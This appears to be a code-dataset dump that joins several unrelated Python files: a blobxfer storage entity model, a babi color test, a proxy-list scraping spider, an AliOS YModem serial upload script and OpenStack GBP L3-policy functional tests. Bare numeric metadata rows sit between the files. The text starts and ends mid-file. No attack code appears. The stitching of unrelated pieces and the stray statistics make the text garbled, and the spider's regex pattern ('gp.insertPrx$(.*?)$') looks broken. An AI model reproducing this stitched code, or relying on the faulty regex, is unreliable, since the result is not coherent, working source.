self._name else: return '{}/{}'.format(self._container, self._name) @property def lmt(self): # type: (StorageEntity) -> datetime.datetime """Entity last modified time :param StorageEntity self: this :rtype: datetime.datetime :return: LMT of entity """ return self._lmt @property def size(self): # type: (StorageEntity) -> int """Entity size :param StorageEntity self: this :rtype: int :return: size of entity """ return self._size @size.setter def size(self, value): # type: (StorageEntity, int) -> None """Set entity size :param StorageEntity self: this :param int value: value """ self._size = value @property def snapshot(self): # type: (StorageEntity) -> str """Entity snapshot :param StorageEntity self: this :rtype: str :return: snapshot of entity """ return self._snapshot @property def cache_control(self): # type: (StorageEntity) -> str """Cache control :param StorageEntity self: this :rtype: str :return: cache control of entity """ return self._cache_control @cache_control.setter def cache_control(self, value): # type: (StorageEntity, str) -> None """Set cache control :param StorageEntity self: this :param str value: value """ self._cache_control = value @property def md5(self): # type: (StorageEntity) -> str """Base64-encoded MD5 :param StorageEntity self: this :rtype: str :return: md5 of entity """ return self._md5 @property def mode(self): # type: (StorageEntity) -> blobxfer.models.azure.StorageModes """Entity mode (type) :param StorageEntity self: this :rtype: blobxfer.models.azure.StorageModes :return: type of entity """ return self._mode @property def from_local(self): # type: (StorageEntity) -> bool """If entity was created from a local file (no remote exists) :param StorageEntity self: this :rtype: bool :return: if entity is from local (no remote exists) """ return self._from_local @property def append_create(self): # type: (StorageEntity) -> bool """If append blob should be created :param StorageEntity self: this :rtype: bool :return: if append blob should be created """ return self._append_create @append_create.setter def append_create(self, value): # type: (StorageEntity, bool) -> None """Set append create option :param StorageEntity self: this :param bool value: value to set """ self._append_create = value @property def is_encrypted(self): # type: (StorageEntity) -> bool """If data is encrypted :param StorageEntity self: this :rtype: bool :return: if encryption metadata is present """ return self._encryption is not None @property def encryption_metadata(self): # type: (StorageEntity) -> # blobxfer.models.crypto.EncryptionMetadata """Get encryption metadata :param StorageEntity self: this :rtype: blobxfer.models.crypto.EncryptionMetadata :return: encryption metadata of entity """ return self._encryption @encryption_metadata.setter def encryption_metadata(self, value): # type: (StorageEntity, # blobxfer.models.crypto.EncryptionMetadata) -> None """Set encryption metadata :param StorageEntity self: this :param blobxfer.models.crypto.EncryptionMetadata value: value """ self._encryption = value @property def file_attributes(self): # type: (StorageEntity) -> object """Return file attributes collection :param StorageEntity self: this :rtype: blobxfer.models.metadata.PosixFileAttr or blobxfer.models.metadata.WindowsFileAttr or None :return: file attributes """ return self._fileattr @property def vectored_io(self): # type: (StorageEntity) -> object """Return vectored io metadata, currently stripe only :param StorageEntity self: this :rtype: blobxfer.models.metadata.VectoredStripe or None :return: vectored io metadata """ return self._vio @property def raw_metadata(self): # type: (StorageEntity) -> dict """Return raw metadata for synccopy sources :param StorageEntity self: this :rtype: dict :return: raw metadata """ return self._raw_metadata @property def access_tier(self): # type: (StorageEntity) -> str """Return access tier for blob :param StorageEntity self: this :rtype: str :return: access tier """ return self._access_tier @access_tier.setter def access_tier(self, value): # type: (StorageEntity, str) -> None """Set access tier :param StorageEntity self: this :param str value: value """ self._access_tier = value @property def content_type(self): # type: (StorageEntity) -> str """Return content type :param StorageEntity self: this :rtype: str :return: content type """ return self._content_type @content_type.setter def content_type(self, value): # type: (StorageEntity, str) -> None """Set content type :param StorageEntity self: this :param str value: value """ self._content_type = value @property def is_arbitrary_url(self): # type: (StorageEntity) -> bool """Is an arbitrary URL :param StorageEntity self: this :rtype: bool :return: arbitrary URL """ return self._is_arbitrary_url def populate_from_blob(self, sa, blob, vio=None, store_raw_metadata=False): # type: (StorageEntity, blobxfer.operations.azure.StorageAccount, # azure.storage.blob.models.Blob) -> None """Populate properties from Blob :param StorageEntity self: this :param blobxfer.operations.azure.StorageAccount sa: storage account :param azure.storage.blob.models.Blob blob: blob to populate from :param blobxfer.models.metadata.VectoredStripe vio: Vectored stripe :param bool store_raw_metadata: store raw metadata """ if store_raw_metadata: self._raw_metadata = blob.metadata else: self._fileattr = blobxfer.models.metadata.fileattr_from_metadata( blob.metadata) self._vio = vio self._can_create_containers = sa.can_create_containers self._name = blob.name self._snapshot = blob.snapshot self._lmt = blob.properties.last_modified self._size = blob.properties.content_length self._md5 = blob.properties.content_settings.content_md5 self._cache_control = blob.properties.content_settings.cache_control self._content_type = blob.properties.content_settings.content_type if blob.properties.blob_type == BlobTypes.AppendBlob: self._mode = StorageModes.Append self._client = sa.append_blob_client elif blob.properties.blob_type == BlobTypes.BlockBlob: self._access_tier = blob.properties.blob_tier self._mode = StorageModes.Block self._client = sa.block_blob_client elif blob.properties.blob_type == BlobTypes.PageBlob: self._mode = StorageModes.Page self._client = sa.page_blob_client def populate_from_file( self, sa, file, path, vio=None, store_raw_metadata=False, snapshot=None): # type: (StorageEntity, blobxfer.operations.azure.StorageAccount, # azure.storage.file.models.File, str, # blobxfer.models.metadata.VectoredStripe, bool, str) -> None """Populate properties from File :param StorageEntity self: this :param blobxfer.operations.azure.StorageAccount sa: storage account :param azure.storage.file.models.File file: file to populate from :param str path: full path to file :param blobxfer.models.metadata.VectoredStripe vio: Vectored stripe :param bool store_raw_metadata: store raw metadata :param str snapshot: snapshot """ if store_raw_metadata: self._raw_metadata = file.metadata else: self._fileattr = blobxfer.models.metadata.fileattr_from_metadata( file.metadata) self._vio = vio self._can_create_containers = sa.can_create_containers if path is not None: self._name = str(pathlib.Path(path) / file.name) else: self._name = file.name self._snapshot = snapshot self._lmt = file.properties.last_modified self._size = file.properties.content_length self._md5 = file.properties.content_settings.content_md5 self._cache_control = file.properties.content_settings.cache_control self._content_type = file.properties.content_settings.content_type self._mode = StorageModes.File self._client = sa.file_client def populate_from_local( self, sa, container, path, mode, cache_control, content_type): # type: (StorageEntity, blobxfer.operations.azure.StorageAccount # str, str, blobxfer.models.azure.StorageModes, str, # str) -> None """Populate properties from local :param StorageEntity self: this :param blobxfer.operations.azure.StorageAccount sa: storage account :param str container: container :param str path: full path to file :param blobxfer.models.azure.StorageModes mode: storage mode :param str cache_control: cache control :param str content_type: content type """ self._can_create_containers = sa.can_create_containers self._container = container self._name = path self._mode = mode self._cache_control = cache_control self._content_type = content_type or blobxfer.util.get_mime_type(path) self._from_local = True if mode == StorageModes.Append: self._client = sa.append_blob_client elif mode == StorageModes.Block: self._client = sa.block_blob_client elif mode == StorageModes.File: self._client = sa.file_client elif mode == StorageModes.Page: self._client = sa.page_blob_client elif mode == StorageModes.Auto: name = self.name.lower() if name.endswith('.vhd') or name.endswith('.vhdx'): self._client = sa.page_blob_client self._mode = StorageModes.Page else: self._client = sa.block_blob_client self._mode = StorageModes.Block def populate_from_arbitrary_url(self, remote_path, size): # type: (StorageEntity, str, int) -> None """Populate properties from an arbitrary url :param StorageEntity self: this :param str remote_path: remote path :param int size: content length """ # fake a client self._client = lambda: None setattr(self._client, 'primary_endpoint', remote_path.split('/')[2]) # set attributes self._is_arbitrary_url = True self._container = None self._name = remote_path self._size = size

33.54371

79

0.622616

1,718

15,732

5.551222

0.135623

0.057041

0.073818

0.087239

0.473

0.35011

0.290972

0.223865

0.148474

0.118276

0

0.001982

0.294495

15,732

468

80

33.615385

0.857284

0.43599

0

0.270408

0

0.004114

0

1

0.163265

false

0

0.02551

0

0.336735

0

null

0

null

0

1

0

a83fb50879060487859106ba5c544390d8e9a35d

405

py

Python

tests/color_manager_test.py

YouTwitFace/babi

3697e931aefbe09178fc0441d403c5040ecfc4cd

[ "MIT" ]

1

2020-06-29T11:37:47.000Z

tests/color_manager_test.py

apalyukha/babi

3f259403fe2c8459321e3d89e123b2f5b379408f

[ "MIT" ]

null

tests/color_manager_test.py

apalyukha/babi

3f259403fe2c8459321e3d89e123b2f5b379408f

[ "MIT" ]

null

import pytest from babi.color import Color from babi.color_manager import _color_to_curses @pytest.mark.parametrize( ('color', 'expected'), ( (Color(0x00, 0x00, 0x00), (0, 0, 0)), (Color(0xff, 0xff, 0xff), (1000, 1000, 1000)), (Color(0x1e, 0x77, 0xd3), (117, 466, 827)), ), ) def test_color_to_curses(color, expected): assert _color_to_curses(color) == expected

23.823529

54

0.639506

54

405

4.611111

0.444444

0.084337

0.156627

0.144578

0.208835

0

0.133956

0.207407

405

16

55

25.3125

0.641745

0

0.032099

0

0.088889

0

0.076923

1

0.076923

false

0

0.230769

0

0.307692

0

null

0

null

0

1

0

a843101c221a512fefd60a227e47a0ad07e6f925

2,333

py

Python

ipproxytool/spiders/proxy/gatherproxy.py

yzf233/IPProxyTool

2775b1d73ef66899434eb134ab3bcd01b46e5d10

[ "MIT" ]

5

2017-07-21T09:44:33.000Z

2021-08-08T16:27:45.000Z

ipproxytool/spiders/proxy/gatherproxy.py

haoyu311/IPProxyTool

eaf4c760879f93e3c56fb78f238a55a45ff78e82

[ "MIT" ]

3

2021-03-31T18:28:23.000Z

2022-03-02T14:54:29.000Z

ipproxytool/spiders/proxy/gatherproxy.py

meihuanyu/rental

eb29b280c294defefefd56de5a8e32040c481f62

[ "MIT" ]

2

2018-06-28T14:47:08.000Z

2018-06-29T09:50:07.000Z

# coding=utf-8 import json import random import re import requests from proxy import Proxy from .basespider import BaseSpider class GatherproxySpider(BaseSpider): name = 'gatherproxy' def __init__(self, *a, **kwargs): super(GatherproxySpider, self).__init__(*a, **kwargs) self.urls = [ 'http://gatherproxy.com/', 'http://www.gatherproxy.com/proxylist/anonymity/?t=Anonymous', 'http://gatherproxy.com/proxylist/country/?c=China', ] self.headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'en-US,en;q=0.5', 'Connection': 'keep-alive', 'Host': 'www.gatherproxy.com', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko/20100101 Firefox/52.0' } # self.proxies = self.get_proxy() self.init() def parse_page(self, response): pattern = re.compile('gp.insertPrx$(.*?)$', re.S) items = re.findall(pattern, response.body) for item in items: data = json.loads(item) #端口用的是十六进制 port = data.get('PROXY_PORT') port = str(int(port, 16)) proxy = Proxy() proxy.set_value( ip = data.get('PROXY_IP'), port = port, country = data.get('PROXY_COUNTRY'), anonymity = data.get('PROXY_TYPE'), source = self.name, ) self.add_proxy(proxy = proxy) def get_proxy(self): try: url = 'http://127.0.0.1:8000/?name={0}'.format(self.name) r = requests.get(url = url) if r.text != None and r.text != '': data = json.loads(r.text) if len(data) > 0: proxy = random.choice(data) ip = proxy.get('ip') port = proxy.get('port') address = '%s:%s' % (ip, port) proxies = { 'http': 'http://%s' % address } return proxies except: return None

31.527027

110

0.491642

253

2,333

4.466403

0.450593

0.042478

0

0.028455

0.367338

2,333

73

111

31.958904

0.737127

0.022718

0

0.034483

0.239895

0.047891

0

1

0.051724

false

0

0.103448

0

0.224138

0

null

0

null

0

1

0

a844b552f292190f3c5fa040f3621afb025f7afe

7,164

py

Python

solutions/block_demo/.utility/python/transymodem.py

wstong999/AliOS-Things

6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9

[ "Apache-2.0" ]

null

solutions/block_demo/.utility/python/transymodem.py

wstong999/AliOS-Things

6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9

[ "Apache-2.0" ]

null

solutions/block_demo/.utility/python/transymodem.py

wstong999/AliOS-Things

6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9

[ "Apache-2.0" ]

null

#!/usr/bin/env python # -*- encoding: utf-8 -*- # version 1.0.1 import os import sys import re import codecs import time import json import argparse import inspect from ymodemfile import YModemfile try: import serial from serial.tools import miniterm from serial.tools.list_ports import comports except: print("\n\nNot found pyserial, please install: \nsudo pip install pyserial") sys.exit(0) def read_json(json_file): data = None if os.path.isfile(json_file): with open(json_file, 'r') as f: data = json.load(f) return data def write_json(json_file, data): with open(json_file, 'w') as f: f.write(json.dumps(data, indent=4, separators=(',', ': '))) def ymodemTrans(serialport, filename): def sender_getc(size): return serialport.read(size) or None def sender_putc(data, timeout=15): return serialport.write(data) sender = YModemfile(sender_getc, sender_putc) sent = sender.send_file(filename) def send_check_recv_data(serialport, pattern, timeout): """ receive serial data, and check it with pattern """ matcher = re.compile(pattern) tic = time.time() buff = serialport.read(128) while (time.time() - tic) < timeout: buff += serialport.read(128) if matcher.search(buff): return True return False def download_file(portnum, baudrate, filepath): # open serial port first serialport = serial.Serial() serialport.port = portnum serialport.baudrate = baudrate serialport.parity = "N" serialport.bytesize = 8 serialport.stopbits = 1 serialport.timeout = 0.05 try: serialport.open() except Exception as e: raise Exception("Failed to open serial port: %s!" % portnum) # send handshark world for check amp boot mode mylist = [0xA5] checkstatuslist = [0x5A] bmatched = False shakehand = False count = 0 reboot_count = 0 # step 1: check system status for i in range(300): serialport.write(serial.to_bytes(checkstatuslist)) time.sleep(0.1) buff = serialport.read(2) print(buff) # case 1: input == output is cli or repl mode if((buff) == b'Z'): # print('Read data OK'); reboot_count += 1 else: # not cli or repl mode is running mode print("Please reboot the board manually.") break if(reboot_count >= 4): # need reboot system print("Please reboot the board manually.") break # step 2: wait reboot and hand shakend cmd time.sleep(1) bmatched = send_check_recv_data(serialport, b'amp shakehand begin...', 10) # print(buff) if bmatched: print('amp shakehand begin...') for i in range(300): serialport.write(serial.to_bytes(mylist)) time.sleep(0.1) buff = serialport.read(2) print(buff) if((buff) == b'Z'): # print('Read data OK'); count += 1 if(count >= 4): shakehand = True if shakehand: break if i > 5: print("Please reboot the board manually.") break else: print("Please reboot the board manually, and try it again.") serialport.close() return # start send amp boot cmd time.sleep(0.1) print("start to send amp_boot cmd") cmd = 'amp_boot' serialport.write(cmd.encode()) # serialport.write(b'amp_boot') # send file transfer cmd time.sleep(0.1) # print("start to send file cmd") # cmd = 'cmd_file_transfer\n' # serialport.write(cmd.encode()) bmatched = send_check_recv_data(serialport, b'amp shakehand success', 2) # serialport.write(b'cmd_flash_js\n') # send file if bmatched: print("start to send file cmd") cmd = 'cmd_file_transfer\n' serialport.write(cmd.encode()) print('amp shakehand success') time.sleep(0.1) ymodemTrans(serialport, filepath) print("Ymodem transfer file finish") # send file transfer cmd time.sleep(0.1) print("send cmd exit") cmd = 'cmd_exit\n' serialport.write(cmd.encode()) else: print('amp shakehand failed, please reboot the boaard manually') # close serialport serialport.close() def get_downloadconfig(): """ get configuration from .config_burn file, if it is not existed, generate default configuration of chip_haas1000 """ configs = {} configs['chip_haas1000'] = {} configs['chip_haas1000']['serialport'] = '' configs['chip_haas1000']['baudrate'] = '' configs['chip_haas1000']['filepath'] = '' return configs['chip_haas1000'] def main2(): cmd_parser = argparse.ArgumentParser( formatter_class=argparse.RawDescriptionHelpFormatter, description='''Run and transfer file to system.''',) cmd_parser.add_argument('-d', '--device', default='', help='the serial device or the IP address of the pyboard') cmd_parser.add_argument( '-b', '--baudrate', default=115200, help='the baud rate of the serial device') cmd_parser.add_argument('files', nargs='*', help='input transfer files') args = cmd_parser.parse_args() print(args) # download file # step 1: set config downloadconfig = get_downloadconfig() # step 2: get serial port if not downloadconfig["serialport"]: downloadconfig["serialport"] = args.device if not downloadconfig["serialport"]: downloadconfig["serialport"] = miniterm.ask_for_port() if not downloadconfig["serialport"]: print("no specified serial port") return else: needsave = True # step 3: get baudrate if not downloadconfig["baudrate"]: downloadconfig["baudrate"] = args.baudrate if not downloadconfig["baudrate"]: downloadconfig["baudrate"] = "115200" # step 4: get transfer file if not downloadconfig["filepath"]: downloadconfig["filepath"] = args.files if not downloadconfig["filepath"]: print('no file wait to transfer') return if os.path.isabs("".join(downloadconfig["filepath"])): filepath = "".join(downloadconfig["filepath"]) print('the filepath is abs path') else: basepath = os.path.abspath('.') filepath = basepath + '/' + "".join(downloadconfig["filepath"]) print('the filepath is not abs path') print("serial port is %s" % downloadconfig["serialport"]) print("transfer baudrate is %s" % downloadconfig["baudrate"]) # print(base_path(downloadconfig["filepath"])) print("filepath is %s" % filepath) # print("the settings were restored in the file %s" % os.path.join(os.getcwd(), '.config_burn')) # step 3: download file download_file(downloadconfig["serialport"], downloadconfig['baudrate'], filepath) if __name__ == "__main__": main2()

28.887097

100

0.61139

848

7,164

5.082547

0.253538

0.031323

0.030858

0.015313

0.24942

0.22877

0.19652

0.123202

0.112529

0.068213

0

0.019238

0.274428

7,164

247

101

29.004049

0.809927

0.144472

0

0.271084

0

0.183119

0

0.001316

0

1

0.054217

false

0

0.072289

0.012048

0.180723

0.13253

0

null

0

null

0

1

0

a847a591509f4396879b2e583da9a1dc7831b69f

19,282

py

Python

gbpservice/tests/contrib/gbpfunctests/testcases/tc_gbp_l3p_func.py

baodongli/group-based-policy

f3b892ecdc1051b204376e18679f73bf457ce7dc

[ "Apache-2.0" ]

null

gbpservice/tests/contrib/gbpfunctests/testcases/tc_gbp_l3p_func.py

baodongli/group-based-policy

f3b892ecdc1051b204376e18679f73bf457ce7dc

[ "Apache-2.0" ]

null

gbpservice/tests/contrib/gbpfunctests/testcases/tc_gbp_l3p_func.py

baodongli/group-based-policy

f3b892ecdc1051b204376e18679f73bf457ce7dc

[ "Apache-2.0" ]

1

2019-12-03T15:28:24.000Z

# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import commands import logging import platform import sys from libs import config_libs from libs import utils_libs from libs import verify_libs def main(): # Run the Testcases: test = test_gbp_l3p_func() if test.test_gbp_l3p_func_1() == 0: test.cleanup(tc_name='TESTCASE_GBP_L3P_FUNC_1') if test.test_gbp_l3p_func_2() == 0: test.cleanup(tc_name='TESTCASE_GBP_L3P_FUNC_2') if test.test_gbp_l3p_func_3() == 0: test.cleanup(tc_name='TESTCASE_GBP_L3P_FUNC_3') if test.test_gbp_l3p_func_4() == 0: test.cleanup(tc_name='TESTCASE_GBP_L3P_FUNC_4') test.cleanup() utils_libs.report_results('test_gbp_l3p_func', 'test_results.txt') sys.exit(1) class test_gbp_l3p_func(object): # Initialize logging logging.basicConfig( format='%(asctime)s [%(levelname)s] %(name)s - %(message)s', level=logging.WARNING) _log = logging.getLogger(__name__) cmd = 'rm /tmp/test_gbp_l3p_func.log' commands.getoutput(cmd) hdlr = logging.FileHandler('/tmp/test_gbp_l3p_func.log') formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s') hdlr.setFormatter(formatter) _log.addHandler(hdlr) _log.setLevel(logging.INFO) _log.setLevel(logging.DEBUG) def __init__(self): """ Init def """ self._log.info("\n## START OF GBP L3_POLICY FUNCTIONALITY TESTSUITE\n") self.gbpcfg = config_libs.Gbp_Config() self.gbpverify = verify_libs.Gbp_Verify() self.l3p_name = 'demo_l3p' self.l2p_name = 'demo_l2p' def cleanup(self, tc_name=''): if tc_name != '': self._log.info('## %s: FAILED' % (tc_name)) for obj in ['group', 'l2p', 'l3p']: self.gbpcfg.gbp_del_all_anyobj(obj) def test_gbp_l3p_func_1( self, name_uuid='', l3p_uuid='', rep_cr=0, rep_del=0): if rep_cr == 0 and rep_del == 0: self._log.info( "\n########################################################\n" "TESTCASE_GBP_L3P_FUNC_1: TO CREATE/VERIFY/DELETE/VERIFY a " "L3POLICY with DEFAULT ATTRIB VALUE\n" "TEST_STEPS::\n" "Create L3 Policy Object\n" "Verify the attributes & value, show & list cmds\n" "Verify the implicit neutron objects\n" "Delete L3 Policy Object\n" "Verify that PR and implicit neutron objects has got " "deleted, show & list cmds\n" "##########################################################\n") if name_uuid == '': name_uuid = self.l3p_name # Testcase work-flow starts if rep_cr == 0 or rep_cr == 1: self._log.info( '\n## Step 1: Create L3Policy with default attrib vals##\n') l3p_uuid = self.gbpcfg.gbp_policy_cfg_all(1, 'l3p', name_uuid) if l3p_uuid == 0: self._log.info("\n## Step 1: Create L3Policy == Failed") return 0 # default subnet= 10.0.0.0/8 & subnet_prefix_length= 24 self._log.info('# Step 2A: Verify L3Policy using -list cmd') if self.gbpverify.gbp_l2l3ntk_pol_ver_all( 0, 'l3p', l3p_uuid, name_uuid, '10.0.0.0/8', '24') == 0: self._log.info( "\n## Step 2A: Verify L3Policy using -list option " "== Failed") return 0 self._log.info('# Step 2B: Verify L3Policy using -show cmd') if 'Ubuntu' in platform.linux_distribution(): # Only for devstack rtr_uuid = self.gbpverify.gbp_l2l3ntk_pol_ver_all( 1, 'l3p', l3p_uuid, ret='default', id=l3p_uuid, name=name_uuid, ip_pool='10.0.0.0/8', subnet_prefix_length='24', ip_version='4') if rtr_uuid != 0 and isinstance(rtr_uuid, str): rtr_name = 'l3p_%s' % (name_uuid) if self.gbpverify.neut_ver_all( 'router', rtr_uuid, name=rtr_name, admin_state_up='True', status='ACTIVE') == 0: self._log.info( "\n## Step 2D: Verify L3Policy using -show " "option == Failed") return 0 else: self._log.info( "\n## Step 2C: Verify L3Policy using -show " "option == Failed") return 0 else: if self.gbpverify.gbp_l2l3ntk_pol_ver_all( 1, 'l3p', l3p_uuid, id=l3p_uuid, name=name_uuid, ip_pool='10.0.0.0/8', subnet_prefix_length='24', ip_version='4') == 0: self._log.info( "\n## Step 2C: Verify L3Policy using -show " "option == Failed") return 0 ####### if rep_del == 0 or rep_del == 1: self._log.info('\n## Step 3: Delete L3Policy using name ##\n') if self.gbpcfg.gbp_policy_cfg_all(0, 'l3p', name_uuid) == 0: self._log.info("\n## Step 3: Delete L3Policy == Failed") return 0 if self.gbpverify.gbp_l2l3ntk_pol_ver_all( 0, 'l3p', name_uuid, l3p_uuid) != 0: self._log.info( "\n## Step 3A: Verify L3Policy is Deleted using " "-list option == Failed") return 0 if self.gbpverify.gbp_l2l3ntk_pol_ver_all( 1, 'l3p', name_uuid, l3p_uuid) != 0: self._log.info( "\n## Step 3B: Verify L3Policy is Deleted using " "-show option == Failed") return 0 if rep_cr == 0 and rep_del == 0: self._log.info("\n## TESTCASE_GBP_L3P_FUNC_1: PASSED") return 1 def test_gbp_l3p_func_2(self): self._log.info( "\n############################################################\n" "TESTCASE_GBP_L3P_FUNC_2: TO CREATE/UPDATE/DELETE/VERIFY a " "L3POLICY with EDITABLE ATTRs\n" "TEST_STEPS::\n" "Create L3Policy Object with non-default params\n" "Verify the attributes & value, show & list cmds\n" "Update the L3Policy Objects\n" "Verify the attributes & value, show & list cmds\n" "Delete L3Policy using Name\n" "Verify that L3P has got deleted, show & list cmds\n" "##############################################################\n") # Testcase work-flow starts self._log.info( "\n## Step 1: Create Policy L3Policy with non-default " "attrs and values ##") l3p_uuid = self.gbpcfg.gbp_policy_cfg_all( 1, 'l3p', self.l3p_name, ip_pool='20.20.0.0/24', subnet_prefix_length='28') if l3p_uuid == 0: self._log.info("\n## Step 1: Create L3Policy == Failed") return 0 self._log.info('\n## Step 2B: Verify L3Policy using -show cmd') if 'Ubuntu' in platform.linux_distribution(): # Only for devstack rtr_uuid = self.gbpverify.gbp_l2l3ntk_pol_ver_all( 1, 'l3p', l3p_uuid, ret='default', id=l3p_uuid, name=self.l3p_name, ip_pool='20.20.0.0/24', subnet_prefix_length='28', ip_version='4') if rtr_uuid != 0 and isinstance(rtr_uuid, str): rtr_name = 'l3p_%s' % (self.l3p_name) if self.gbpverify.neut_ver_all( 'router', rtr_uuid, name=rtr_name, admin_state_up='True', status='ACTIVE') == 0: self._log.info( "\n## Step 2D: Verify L3Policy using -show option" " == Failed") return 0 else: self._log.info( "\n## Step 2C: Verify L3Policy using -show option" " == Failed") return 0 else: if self.gbpverify.gbp_l2l3ntk_pol_ver_all( 1, 'l3p', l3p_uuid, id=l3p_uuid, name=self.l3p_name, ip_pool='20.20.0.0/24', subnet_prefix_length='28', ip_version='4') == 0: self._log.info( "\n## Step 2C: Verify L3Policy using -show option" " == Failed") if self.gbpcfg.gbp_policy_cfg_all( 2, 'l3p', self.l3p_name, subnet_prefix_length='26') == 0: self._log.info( "\n## Step 3: UPdating L3Policy attributes == Failed") return 0 self._log.info( "\n## Step 3: Verify that Updated Attributes in L3Policy") if self.gbpverify.gbp_l2l3ntk_pol_ver_all( 1, 'l3p', self.l3p_name, id=l3p_uuid, name=self.l3p_name, ip_pool='20.20.0.0/24', subnet_prefix_length='26', ip_version='4') == 0: self._log.info( "\n## Step 3: Verify L3Policy using -show option == Failed") self.test_gbp_l3p_func_1(name_uuid=l3p_uuid, rep_cr=2) self._log.info("\n## TESTCASE_GBP_L3P_FUNC_2: PASSED") return 1 def test_gbp_l3p_func_3(self): self._log.info( "\n############################################################\n" "TESTCASE_GBP_L3P_FUNC_3: TO CREATE/UPDATE/DELETE/VERIFY " "L3POLICY AND ASSOCIATED L2POLICY\n" "TEST_STEPS::\n" "Create L3Policy with defined attributes\n" "Create L2Policy with default attributes\n" "Update L2Policy to change the from default to the above " "non-default L3Policy\n" "Verify the Update of L3Policy attribute of L2Policy fails\n" "Update L3Policy(default) editable attributes\n" "Delete the L2Policy(this causes auto-delete of default-L3Pol)\n" "Verify L3/L2Policies successfully deleted\n" "##############################################################\n") # Testcase work-flow starts # Create L2 L3 Policy self._log.info( "\n## Step 1: Create L3Policy with non-default attrs and " "values ##") l3p_uuid = self.gbpcfg.gbp_policy_cfg_all( 1, 'l3p', self.l3p_name, ip_pool='20.20.0.0/24', subnet_prefix_length='28', proxy_ip_pool='192.167.0.0/16') if l3p_uuid == 0: self._log.info("\n## Step 1: Create L3Policy == Failed") return 0 self._log.info( '\n## Step 1A: Create L2Policy with default attributes##\n') l2p = self.gbpcfg.gbp_policy_cfg_all(1, 'l2p', self.l2p_name) if l2p == 0: self._log.info( "\n## New L2Policy Create Failed, hence " "Testcase_gbp_l3p_func_3 ABORTED\n") return 0 elif len(l2p) < 2: self._log.info( "\n## New L2Policy Create Failed due to " "unexpected tuple length\n") return 0 else: l2p_uuid, def_l3p_uuid = l2p[0], l2p[1] # Associating L2Policy with non-default L3Policy(should Fail) and # UPdating the L3Policy(in-use/default) if self.gbpcfg.gbp_policy_cfg_all( 2, 'l2p', self.l2p_name, l3_policy_id=l3p_uuid) != 0: self._log.info( "\n## Updating/Changing L3Policy attribute of " "L2Policy did NOT Fail") return 0 if self.gbpverify.gbp_l2l3ntk_pol_ver_all( 1, 'l2p', self.l2p_name, l3_policy_id=def_l3p_uuid) == 0: self._log.info( "\n## Step 3A: Verify L2Policy is still associated to " "its default L3Policy == Failed") return 0 if self.gbpcfg.gbp_policy_cfg_all( 2, 'l3p', def_l3p_uuid, subnet_prefix_length='27') == 0: self._log.info( "\n## Step 4: UPdating default L3Policy's " "attributes == Failed") return 0 if self.gbpverify.gbp_l2l3ntk_pol_ver_all( 1, 'l3p', def_l3p_uuid, id=def_l3p_uuid, ip_pool='10.0.0.0/8', l2_policies=l2p_uuid, subnet_prefix_length='27', ip_version='4') == 0: self._log.info( "\n## Step 4A: Verify L3Policy after associating " "to the L2Policy == Failed") return 0 # Delete L2/L3 Policies if self.gbpcfg.gbp_policy_cfg_all(0, 'l2p', l2p_uuid) == 0: self._log.info("\n## Step 5: Delete L2Policy == Failed") return 0 if self.gbpverify.gbp_l2l3ntk_pol_ver_all(1, 'l2p', l2p_uuid) != 0: self._log.info("\n## Step 5A: Verify Delete of L2Policy == Failed") return 0 if self.gbpverify.gbp_l2l3ntk_pol_ver_all(1, 'l3p', def_l3p_uuid) != 0: self._log.info( "\n## Step 5B: Verify Auto-Delete of default " "L3Policy == Failed") return 0 self._log.info("\n## TESTCASE_GBP_L3P_FUNC_3: PASSED") return 1 def test_gbp_l3p_func_4(self): self._log.info( "\n############################################################\n" "TESTCASE_GBP_L3P_FUNC_4: TO CREATE/UPDATE/DELETE/VERIFY " "MULTI L2POLICY to SINGLE L3POLICY\n" "TEST_STEPS::\n" "Create non-default L3Policy with defined attributes\n" "Create Multiple L2Policies with above non-default L3policy\n" "Verify that L2Policies are created with non-default L3Policy\n" "Delete all L2 Policies\n" "Verify that non-default L3 Policy exists but with null " "L2Policies\n" "Delete the L3Policy\n" "Verify L3/L2Policys successfully deleted\n" "##############################################################\n") # Testcase work-flow starts # Create and Verify non-default L3 Policy self._log.info( "\n## Step 1: Create Policy L3Policy with non-default " "attrs and values ") l3p_uuid = self.gbpcfg.gbp_policy_cfg_all( 1, 'l3p', self.l3p_name, ip_pool='40.50.0.0/16', subnet_prefix_length='25') if l3p_uuid == 0: self._log.info("\n## Step 1: Create L3Policy == Failed") return 0 if self.gbpverify.gbp_l2l3ntk_pol_ver_all( 1, 'l3p', l3p_uuid, id=l3p_uuid, name=self.l3p_name, ip_pool='40.50.0.0/16', subnet_prefix_length='25', ip_version='4') == 0: self._log.info("\n## Step 1A: Verify non-default == Failed") return 0 # Create and verify multiple L2 policy with above non-default L3P self._log.info( "\n## Step 2: Create and Verify multiple(n=10) L2Policy " "associated with 1 non-default L3P") l2p_uuid_list = [] n, i = 11, 1 while i < n: l2p_name = 'demo_l2p_%s' % (i) l2p = self.gbpcfg.gbp_policy_cfg_all( 1, 'l2p', l2p_name, l3_policy_id=l3p_uuid) if l2p == 0: self._log.info( "\n## Step 2B:New L2Policy Create Failed, hence " "Testcase_gbp_l3p_func_4 ABORTED\n") return 0 elif len(l2p) < 2: self._log.info( "\n## Step 2C: New L2Policy Create Failed due to " "unexpected tuple length\n") return 0 else: l2p_uuid = l2p[0] l2p_uuid_list.append(l2p_uuid) if self.gbpverify.gbp_l2l3ntk_pol_ver_all( 1, 'l2p', l2p_name, id=l2p_uuid, l3_policy_id=l3p_uuid) == 0: self._log.info( "\n## Step 2D: Verify L2Policy using non-default " "L3P == Failed") return 0 i += 1 # Verify that non-default L3P has all the above create L2Ps if self.gbpverify.gbp_obj_ver_attr_all_values( 'l3p', l3p_uuid, 'l2_policies', l2p_uuid_list) == 0: self._log.info( "\n## Step 